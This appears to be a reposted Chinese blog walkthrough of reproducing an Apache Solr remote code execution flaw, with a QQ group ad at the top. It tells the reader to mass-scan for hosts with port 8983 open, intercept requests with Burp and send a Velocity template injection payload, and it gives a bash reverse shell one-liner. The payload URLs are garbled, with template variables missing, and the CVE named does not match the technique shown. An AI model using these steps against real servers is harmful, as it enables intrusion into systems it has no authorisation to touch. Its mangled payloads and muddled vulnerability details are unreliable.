QQ交流学习群:811401950
一. 漏洞描述
2019年11月16日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler 中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参 数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行,请相关用户尽快升级Solr至安全版本,以确保对此漏洞的有效防护。
二. 复现操作
- 批量搜一下开了8983端口的主机
2.访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截
3.发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?
4.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。
5,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图
payloadselect?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(rt=chr=str=ex=ex.waitFor()+%23set(ex.getInputStream())+%23foreach(out.available()])chr.toChars($out.read()))%23end
6. 远程代码执行成功
- 反弹shell payload:
linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)
http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(rt=chr=str=ex=ex.waitFor()+%23set(ex.getInputStream())+%23foreach(out.available()])chr.toChars($out.read()))%23end
三. 漏洞特征:
端口:8983,http
路径:/solr/item/config
四. 影响范围
受影响版本 :
Apache Solr < 8.2.0
来源:CSDN
作者:小小秋叶
链接:https://blog.csdn.net/weixin_45983744/article/details/103490828